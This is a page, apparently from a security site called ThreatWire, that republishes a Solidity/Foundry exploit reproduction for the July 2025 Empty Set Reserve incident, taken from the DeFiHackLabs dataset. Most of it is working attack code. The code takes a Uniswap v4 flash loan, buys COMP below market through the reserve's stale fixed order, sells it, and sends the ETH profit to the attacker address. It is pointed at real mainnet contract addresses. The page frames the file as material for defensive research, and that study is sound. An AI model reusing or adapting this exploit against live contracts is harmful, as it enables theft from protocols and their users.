Public reproduction file

src/test/2025-07/EmptySetReserve_exp.sol

Public reproduction file for dataset entry EmptySetReserve.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/EmptySetReserve_exp.sol195 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : $1,509.78
8// Attacker : 0xdDEB9e72fbecCa668fFD47314565954347ade522
9// Attack Contract : 0x17E2c0844AE7CfE9D0B04cA923017F4892824E15
10// Vulnerable Contract : 0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B
11// Attack Tx : https://etherscan.io/tx/0x240e9573e6c59cfe025c311c176c351bb07a86ae994aaaff58ec3f7f84dab372
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B#code
15// Vulnerable Implementation : https://etherscan.io/address/0x363aF3acFfEd0B7181C2E3c56C00922E142100a8#code
16//
17// @Analysis
18// Telegram Alert : https://t.me/defimon_alerts/1532
19//
20// Attack summary: The attacker used Uniswap v4 flash accounting to source USDC, DSU, and ESS, then bought COMP from
21// Empty Set Reserve through its stale COMP/ESS fixed order and sold the COMP through Uniswap liquidity for ETH profit.
22// Root cause: Empty Set Reserve exposed a stale/favorable fixed maker/taker order through swap(), allowing a public
23// caller to buy the reserve's COMP inventory below market and extract the spread.
24 
25interface IPoolManager {
26    function unlock(
27        bytes calldata data
28    ) external returns (bytes memory);
29    function take(address currency, address to, uint256 amount) external;
30    function sync(
31        address currency
32    ) external;
33    function settle() external payable returns (uint256);
34}
35 
36interface ITwoWayBatcher {
37    function wrap(uint256 amount, address to) external;
38}
39 
40interface IEmptySetReserve {
41    function order(address makerToken, address takerToken) external view returns (uint256 price, uint256 amount);
42    function swap(address makerToken, address takerToken, uint256 takerAmount) external;
43}
44 
45contract ContractTest is BaseTestWithBalanceLog {
46    address private constant ATTACKER = 0xdDEB9e72fbecCa668fFD47314565954347ade522;
47    address private constant TRACE_ATTACK_CONTRACT = 0x17E2c0844AE7CfE9D0B04cA923017F4892824E15;
48    address private constant RESERVE_IMPL = 0x363aF3acFfEd0B7181C2E3c56C00922E142100a8;
49 
50    IEmptySetReserve private constant RESERVE = IEmptySetReserve(0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B);
51    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
52    IERC20 private constant DSU = IERC20(0x605D26FBd5be761089281d5cec2Ce86eeA667109);
53    IERC20 private constant ESS = IERC20(0x24aE124c4CC33D6791F8E8B63520ed7107ac8b3e);
54    IERC20 private constant COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);
55 
56    uint256 private constant FORK_BLOCK = 22_988_103;
57    uint256 private constant TRACE_ETH_TRANSFER = 415_688_696_263_702_812;
58    uint256 private constant LOCAL_REPLAY_PROFIT = 416_271_181_367_327_696;
59    uint256 private constant LOCAL_REPLAY_ESS_RESIDUAL = 204_890_442_016_374_993_231_659;
60    uint256 private constant TRACE_ORDER_PRICE = 267_010_781_166_742_363_801_758;
61    uint256 private constant TRACE_ORDER_AMOUNT = 41_581_642_538_295_042_665;
62 
63    function setUp() public {
64        vm.createSelectFork("mainnet", FORK_BLOCK);
65 
66        fundingToken = address(0);
67        attacker = ATTACKER;
68 
69        vm.label(ATTACKER, "EOA attacker");
70        vm.label(TRACE_ATTACK_CONTRACT, "trace attack contract");
71        vm.label(address(RESERVE), "Empty Set Reserve proxy");
72        vm.label(RESERVE_IMPL, "Empty Set Reserve implementation");
73        vm.label(address(USDC), "USDC");
74        vm.label(address(DSU), "DSU");
75        vm.label(address(ESS), "ESS");
76        vm.label(address(COMP), "COMP");
77    }
78 
79    function testExploit() public balanceLog {
80        (uint256 priceBefore, uint256 amountBefore) = RESERVE.order(address(COMP), address(ESS));
81        assertEq(priceBefore, TRACE_ORDER_PRICE, "unexpected COMP/ESS order price");
82        assertEq(amountBefore, TRACE_ORDER_AMOUNT, "unexpected COMP/ESS order amount");
83 
84        uint256 ethBefore = ATTACKER.balance;
85 
86        EmptySetReserveAttack attackContract = new EmptySetReserveAttack();
87        attackContract.execute();
88 
89        uint256 profit = ATTACKER.balance - ethBefore;
90        assertEq(profit, LOCAL_REPLAY_PROFIT, "ETH profit mismatch");
91        assertGt(profit, TRACE_ETH_TRANSFER, "profit below traced transfer");
92        assertEq(USDC.balanceOf(address(attackContract)), 0, "attack contract kept USDC");
93        assertEq(COMP.balanceOf(address(attackContract)), 0, "attack contract kept COMP");
94        assertEq(ESS.balanceOf(address(attackContract)), LOCAL_REPLAY_ESS_RESIDUAL, "unexpected ESS residual");
95        assertEq(DSU.balanceOf(address(attackContract)), 0, "attack contract kept DSU");
96    }
97}
98 
99contract EmptySetReserveAttack {
100    address private constant ATTACKER = 0xdDEB9e72fbecCa668fFD47314565954347ade522;
101    IPoolManager private constant POOL_MANAGER = IPoolManager(0x000000000004444c5dc75cB358380D2e3dE08A90);
102    ITwoWayBatcher private constant TWO_WAY_BATCHER = ITwoWayBatcher(0xAEf566ca7E84d1E736f999765a804687f39D9094);
103    IEmptySetReserve private constant RESERVE = IEmptySetReserve(0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B);
104    IUniswapV2Router private constant UNISWAP_V2_ROUTER =
105        IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
106    Uni_Router_V3 private constant UNISWAP_V3_ROUTER = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
107 
108    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
109    IERC20 private constant DSU = IERC20(0x605D26FBd5be761089281d5cec2Ce86eeA667109);
110    IERC20 private constant ESS = IERC20(0x24aE124c4CC33D6791F8E8B63520ed7107ac8b3e);
111    IERC20 private constant COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);
112    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
113 
114    uint256 private constant FLASH_USDC = 10_000_000_000;
115    uint256 private constant WRAP_DSU_AMOUNT = 227_550_528_462_023_058_437;
116    uint256 private constant USDC_TO_WETH_AMOUNT = 227_550_528;
117    uint256 private constant WETH_TO_ESS_AMOUNT = 62_460_734_547_587_260;
118    uint256 private constant RESERVE_ESS_IN = 11_102_746_856_346_403_118_005_018;
119    uint256 private constant COMP_TO_USDC_AMOUNT = 9_615_500_579_758_040_742;
120    uint256 private constant COMP_TO_WETH_AMOUNT = 31_966_141_958_537_001_922;
121    uint256 private constant LEFTOVER_USDC = 4_531_880;
122 
123    function execute() external {
124        POOL_MANAGER.unlock("");
125 
126        uint256 leftoverUsdc = USDC.balanceOf(address(this));
127        require(leftoverUsdc == LEFTOVER_USDC, "unexpected leftover USDC");
128        _swapV2(address(USDC), address(WETH), leftoverUsdc);
129 
130        WETH.withdraw(WETH.balanceOf(address(this)));
131        (bool ok,) = payable(ATTACKER).call{value: address(this).balance}("");
132        require(ok, "ETH transfer failed");
133    }
134 
135    function unlockCallback(
136        bytes calldata
137    ) external returns (bytes memory) {
138        require(msg.sender == address(POOL_MANAGER), "only pool manager");
139 
140        POOL_MANAGER.take(address(USDC), address(this), FLASH_USDC);
141 
142        USDC.approve(address(TWO_WAY_BATCHER), type(uint256).max);
143        TWO_WAY_BATCHER.wrap(WRAP_DSU_AMOUNT, address(this));
144 
145        DSU.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);
146        _swapV2(address(DSU), address(ESS), WRAP_DSU_AMOUNT);
147 
148        USDC.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);
149        _swapV2(address(USDC), address(WETH), USDC_TO_WETH_AMOUNT);
150 
151        WETH.approve(address(UNISWAP_V3_ROUTER), type(uint256).max);
152        UNISWAP_V3_ROUTER.exactInputSingle(
153            Uni_Router_V3.ExactInputSingleParams({
154                tokenIn: address(WETH),
155                tokenOut: address(ESS),
156                fee: 3000,
157                recipient: address(this),
158                deadline: block.timestamp,
159                amountIn: WETH_TO_ESS_AMOUNT,
160                amountOutMinimum: 0,
161                sqrtPriceLimitX96: 0
162            })
163        );
164 
165        ESS.approve(address(RESERVE), type(uint256).max);
166        RESERVE.swap(address(COMP), address(ESS), RESERVE_ESS_IN);
167 
168        COMP.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);
169        _swapV2Path(address(COMP), address(WETH), address(USDC), COMP_TO_USDC_AMOUNT);
170        _swapV2(address(COMP), address(WETH), COMP_TO_WETH_AMOUNT);
171 
172        POOL_MANAGER.sync(address(USDC));
173        USDC.transfer(address(POOL_MANAGER), FLASH_USDC);
174        POOL_MANAGER.settle();
175 
176        return "";
177    }
178 
179    function _swapV2(address tokenIn, address tokenOut, uint256 amountIn) private {
180        address[] memory path = new address[](2);
181        path[0] = tokenIn;
182        path[1] = tokenOut;
183        IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);
184    }
185 
186    function _swapV2Path(address tokenIn, address tokenMid, address tokenOut, uint256 amountIn) private {
187        address[] memory path = new address[](3);
188        path[0] = tokenIn;
189        path[1] = tokenMid;
190        path[2] = tokenOut;
191        IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);
192    }
193 
194    receive() external payable {}
195}

Analysis

Dataset entry

Public Foundry test for “EmptySetReserve” (2025-07-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/basetest.solImported by this file · 142 lines
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src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
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src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
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src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xddeb9e72fbecca668ffd47314565954347ade522
Attack Contract
0x17e2c0844ae7cfe9d0b04ca923017f4892824e15
Vulnerable Contract
0xd05ace63789ccb35b9ce71d01e4d632a0486da4b

Attack Tx
0x240e9573e6c59cfe025c311c176c351bb07a86ae994aaaff58ec3f7f84dab372

File record

Name: EmptySetReserve
Path: src/test/2025-07/EmptySetReserve_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 3cad0d3b175c315e2fb15bd5754815e08af39b24
Language: Solidity
Size: 196 lines
Date: 2025-07-24
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2025-07/EmptySetReserve_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3cad0d3b175c315e2fb15bd5754815e08af39b24, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.